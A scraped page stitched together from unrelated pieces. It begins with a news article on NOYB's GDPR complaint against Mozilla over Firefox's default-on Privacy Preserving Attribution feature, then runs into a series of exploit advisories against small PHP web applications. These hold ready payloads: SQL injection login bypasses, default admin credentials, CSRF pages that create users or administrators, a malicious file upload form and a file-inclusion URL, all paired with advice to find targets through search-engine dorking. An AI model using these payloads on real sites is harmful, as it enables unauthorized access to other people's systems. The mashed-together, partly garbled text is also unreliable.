NOYB, a European privacy group has filed a complaint with Austrian authorities, alleging that Mozilla breached GDPR by…

NOYB, a European privacy group has filed a complaint with Austrian authorities, alleging that Mozilla breached GDPR by enabling “Privacy Preserving Attribution” (PPA), a tracking feature in Firefox, by default without user consent.

The European Center for Digital Rights (NOYB) based in Vienna, Austria has lodged a formal complaint against Mozilla, accusing the company of turning its Firefox browser into a “tracking tool” through the introduction of a privacy feature known as Privacy Preserving Attribution (PPA).

In **July 2024**, Mozilla included the PPA feature in its Firefox update version 128.0. According to Mozilla, PPA is intended to help advertisers understand ad effectiveness without allowing individual websites to collect personal user data. Instead, Firefox itself aggregates ad interaction data on behalf of users before passing this information to advertisers. Mozilla presents this as a balanced solution that maintains user privacy while meeting advertising needs.

However, NOYB sees it differently. The advocacy group claims that PPA effectively turns Firefox into a tool that enables tracking, simply moving the data collection from websites to the browser itself.

According to NOYB’s **report**, the PPA feature violates users’ rights under the European Union’s General Data Protection Regulation (**GDPR**), as it involves data processing without obtaining explicit user consent.

****Concerns Over Default Activation and Lack of Transparency****

NOYB’s main criticism is directed at Mozilla’s implementation of PPA. The feature was enabled by default without notifying users or seeking their consent, making it an opt-out rather than an opt-in system.

NOYB compares this approach to Google’s controversial **Privacy Sandbox**, which also faced criticism for centralizing user tracking within the browser. Felix Mikolasch, a data protection lawyer at NOYB, remarked, “Mozilla has just bought into the narrative that the advertising industry has a right to track users by turning Firefox into an ad measurement tool.”

According to the organization, the alleged lack of transparency has further alarmed privacy advocates, as users were neither informed about the feature nor given the opportunity to decide whether they wanted to participate. Mikolasch added, “It’s a shame that an organization like Mozilla believes that users are too dumb to say yes or no. Users should be able to make a choice, and the feature should have been turned off by default.”

Mozilla has long been **recognized as a privacy-focused company,** particularly as other popular browsers have been criticized for invasive data collection practices. This recent move, however, has called that reputation into question. PPA, while potentially less invasive compared to third-party cookies, nonetheless involves tracking that most users are unaware of, which has led NOYB to demand regulatory scrutiny.

****How to Disable Privacy Preserving Attribution in Firefox Browser?****

For users wanting to disable Privacy Preserving Attribution, Mozilla has **provided** an opt-out process that requires navigating Firefox settings:

*   Click the **menu button** and select **Settings**.
*   Navigate to the **Privacy & Security** section.
*   Under **Website Advertising Preferences**, uncheck the box labeled **“Allow websites to perform privacy-preserving ad measurement”**.

Nevertheless, NOYB has filed a complaint with the Austrian Data Protection Authority (Available **here** (PDF) in English), asking them to investigate Mozilla’s behaviour. The advocacy group demands that Mozilla switch the feature to an opt-in system and properly inform users about the data collection. Moreover, NOYB insists that Mozilla should delete any data processed without proper user consent.

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Mozilla Faces GDPR Complaint Over New Firefox Tracking Feature

Student Management System version 1.0 suffers from an insecure cookie handling vulnerability.

**Student Management System 1.0 Insecure Cookie Handling**

Posted Sep 30, 2024

Authored by indoushka

Student Management System version 1.0 suffers from an insecure cookie handling vulnerability.

tags | exploit, insecure cookie handling

SHA-256 | d658fbfc8c6a719141fdd1f2794283b78eab23b21c7970420e8965f026849eba

Download | Favorite | View

**Student Management System 1.0 Insecure Cookie Handling**

    ====================================================================================================================================| # Title     : Student Management System 1.0 Insecure Cookie Handling Vulnerability                                               || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://phpgurukul.com/student-management-system-using-php-and-mysql/                                              |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : document.cookie = "username=user123; path=/; secure; HttpOnly; SameSite=Lax";[+] The default username is admin & The chosen password is user123[+] http://127.0.0.1/studentms/admin/dashboard.php Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

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Student Management System 1.0 Insecure Cookie Handling

Student Enrollment version 1.0 suffers from an arbitrary file upload vulnerability.

=============================================================================================================================================  
| # Title     : Student Enrollment v1.0 Remote File Upload Vulnerability                                                                    |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            |  
| # Vendor    : https://download-media.code-projects.org/2020/06/Student_Enrollment_In_PHP_With_Source_Code.zip                             |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code uploads a executable malicious file remotely .

[+] use payload : 

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>Upload Profile Photo</title>  
</head>  
<body>  
    <h2>Upload Profile Photo</h2>  
    <form action="http://127.0.0.1/student-php-enroolment/admin/index.php?page=user-profile" method="POST" enctype="multipart/form-data">  
        <label for="userphoto">Select Photo:</label>  
        <input type="file" id="userphoto" name="userphoto" required><br><br>

        <button type="submit" name="upphoto">Upload Photo</button>  
    </form>  
</body>  
</html>

[+] Go to the line 10. Set the target site link Save changes and apply . 

[+] save code as poc.html 

[+] Link to the uploaded files : admin/index.php?page=user-profile

[+] path : http://127.0.0.1/student-php-enroolment/admin/images/ evli.php

Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================

Student Enrollment 1.0 Arbitrary File Upload

Sistem Penyewaan Baju atau Pakaian Berbasis Web version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    =============================================================================================================================================| # Title     : Sistem Penyewaan Baju atau Pakaian Berbasis Web v1.0 Auth By Pass Vulnerability                                             || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://shopee.co.id/Aplikasi-Sistem-Penyewaan-Baju-atau-Pakaian-Berbasis-Web-i.95672618.9716246272                         |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : user & pass = ' or 0=0 ##[+] Panel : http://127.0.0.1/batarisalononline/admin/dashboard.phpGreetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Sistem Penyewaan Baju atau Pakaian Berbasis Web 1.0 SQL Injection

Simple Student Quarterly Result / Grade System version 1.0 suffers from an ignored default credential vulnerability.

    =============================================================================================================================================| # Title     : Simple Student Quarterly Result / Grade System v1.0 Insecure Settings Vulnerability                                         || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/php/15169/simple-student-quarterly-resultgrade-system-php-and-mysql-free-source-code.html    |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin123[+] https://www/127.0.0.1/yorubanwitness000webhostappcom/admin/Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Simple Student Quarterly Result / Grade System 1.0 Insecure Settings

Simple Responsive Tourism Website version 1.0 suffers from a cross site request forgery vulnerability.

=============================================================================================================================================  
| # Title     : Simple Responsive Tourism Website v1.0 CSRF Vulnerability                                                                   |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            |  
| # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/tourism_1.zip                                         |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following JavaScript code :

   creating a POST request using JavaScript to send certain data to a local server via HTTP. Here are the key points:

[+] Create an XMLHttpRequest object:

    xhr = new XMLHttpRequest(); Creates an XMLHttpRequest object that is used to send requests to the server.

[+] Open the request:

    xhr.open("POST", "http://127.0.0.1/tourism/classes/Users.php?f=save", true); Opens a connection to the specified URL (in this case, a local server) using the HTTP method "POST".

[+] Set the request headers:

    xhr.setRequestHeader("Accept", "*/*"); Specifies that the request accepts any type of response.  
    xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); Specifies that the request accepts responses in English.  
    xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------"); Specifies the content type of the request as multipart/form-data with specified boundaries.

[+] Enable sending cookies:

    xhr.withCredentials = true; Specifies that cookies should be sent with the request.

[+] Setting up the request data:

    The body is set up using a string containing the form data parts. Each part contains information such as username, password, and type.

    This string is converted to a Uint8Array and then to a Blob to be sent.

[+] Sending the request:

    xhr.send(new Blob([aBody])); Sends the data to the server.

[+] User Interface:  
    There is a button inside the HTML form that calls the submitRequest() function when clicked, which executes the request.

[+] Go to the line 6. Set the target site link Save changes and apply . 

[+] infected file : Users.php.

[+] Line 15 : Choose a name "indoushka".

[+] Line 19 : Choose a pass "Hacked".

[+] save code as poc.html 

[+] payload : 

<!DOCTYPE html>   
<html>   
<body>  
 <script> function submitRequest()   
 { var xhr = new XMLHttpRequest();   
 xhr.open("POST", "http:\/\/127.0.0.1\/php-ycrs\/tourism\/Users.php?f=save", true);   
 xhr.setRequestHeader("Accept", "*\/*");   
 xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");  
 xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------");  
 xhr.withCredentials = true;   
 var body =  
 "-----------------------------\r\n" +   
 "Content-Disposition: form-data; name=\"username\"\r\n" +   
 "\r\n" +   
 "indoushka\r\n" +   
 "-----------------------------\r\n" +   
 "Content-Disposition: form-data; name=\"password\"\r\n" +   
 "\r\n" +   
 "Hacked\r\n" +   
 "-----------------------------\r\n" +   
 "Content-Disposition: form-data; name=\"type\"\r\n" +   
 "\r\n" +   
 "1\r\n" +   
 "-------------------------------\r\n";   
 var aBody = new Uint8Array(body.length);   
 for (var i = 0; i < aBody.length; i++)   
 aBody[i] = body.charCodeAt(i);   
 xhr.send(new Blob([aBody]));   
 }  
 </script>  
 <form action="#">  
 <input type="button" value="Submit request" onclick="submitRequest();" />  
 </form>   
 </body>   
 </html>

Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================

Simple Responsive Tourism Website 1.0 Cross Site Request Forgery

Simple Music Management System version 1.0 suffers from add administrator and cross site request forgery vulnerabilities.

=============================================================================================================================================  
| # Title     : Simple Music Management System v1.0 CSRF Add ADmin Vulnerability                                                            |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            |  
| # Vendor    : https://www.kashipara.com/project/php/12978/music-management-system-in-php-php-project-source-code                          |  
=============================================================================================================================================

POC :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code add new admin .

[+] Go to the line 35.

[+] Set the target site link Save changes and apply . 

[+] save code as poc.html .

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>User Registration</title>  
</head>  
<body>

    <h2>User Registration</h2>  
    <form id="userForm" enctype="multipart/form-data">  
        <label for="email">User Name:</label>  
        <input type="email" id="email" name="email" required><br><br>

        <label for="password">Password:</label>  
        <input type="password" id="password" name="password" required><br><br>

        <div class="form-group">  
      <label for="" class="control-label">Avatar</label>  
      <div class="custom-file">  
              <input type="file" class="custom-file-input rounded-circle" id="customFile" name="img" onchange="displayImg(this,$(this))">  
              <label class="custom-file-label" for="customFile">Choose file</label>  
            </div>  
    </div>

        <input type="button" value="Save User" onclick="saveUser()">  
    </form>

    <script>  
        function saveUser() {  
            var form = document.getElementById('userForm');  
            var formData = new FormData(form);

            var xhr = new XMLHttpRequest();  
            xhr.open("POST", "http://127.0.0.1/music/ajax.php?action=save_user", true);

            xhr.onload = function () {  
                if (xhr.status === 200) {  
                    alert('User saved successfully');  
                } else {  
                    alert('An error occurred while saving the user');  
                }  
            };

            xhr.send(formData);  
        }  
    </script>

</body>  
</html>

Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================

Simple Music Management System 1.0 Add Administrator / Cross Site Request Forgery

Sample Blog Site version 1.0 suffers from cross site scripting and remote file inclusion vulnerabilities.

**Sample Blog Site 1.0 Cross Site Scripting / Remote File Inclusion**

**Sample Blog Site 1.0 Cross Site Scripting / Remote File Inclusion**

Posted Sep 30, 2024

Authored by indoushka

Sample Blog Site version 1.0 suffers from cross site scripting and remote file inclusion vulnerabilities.

tags | exploit, remote, vulnerability, xss, file inclusion

SHA-256 | 9eb4f98f6b5aa7c6a2b152f6a928201fce3e01efc03aed42ffeb58be9416ad69

Download | Favorite | View

**Sample Blog Site 1.0 Cross Site Scripting / Remote File Inclusion**

    =============================================================================================================================================| # Title     : Sample Blog Site 1.0 XSS Vulnerability                                                                                      || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-simple-ims.zip                                    |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /blog/index.php?id=2&page=http://testasp.vulnweb.com/t/xss.html%3f%2500.jpg[+] http://127.0.0.1/blog/index.php?id=2&page=http://testasp.vulnweb.com/t/xss.html%3f%2500.jpgGreetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Sample Blog Site 1.0 Cross Site Scripting / Remote File Inclusion

Simple Online Banking System version 1.0 suffers from an ignored default credential vulnerability.

    =============================================================================================================================================| # Title     : Simple Online Banking System v1.0 Insecure Settings Vulnerability                                                           || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/php/14868/banking-system-using-php-free-source-code.html                                     |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user = admin & pass = admin123[+] https://www/127.0.0.1/demo/site/loginGreetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Simple Online Banking System 1.0 Insecure Settings

SchoolPlus version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    =============================================================================================================================================| # Title     : SchoolPlus v1.0 Auth By Pass Vulnerability                                                                                  || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : http://webpay.com.np/#Product                                                                                               |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : user & pass = ' or 0=0 ##[+] Panel : http://127.0.0.1/jamiatulamanepal.orgnp/cms/Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Tag

#firefox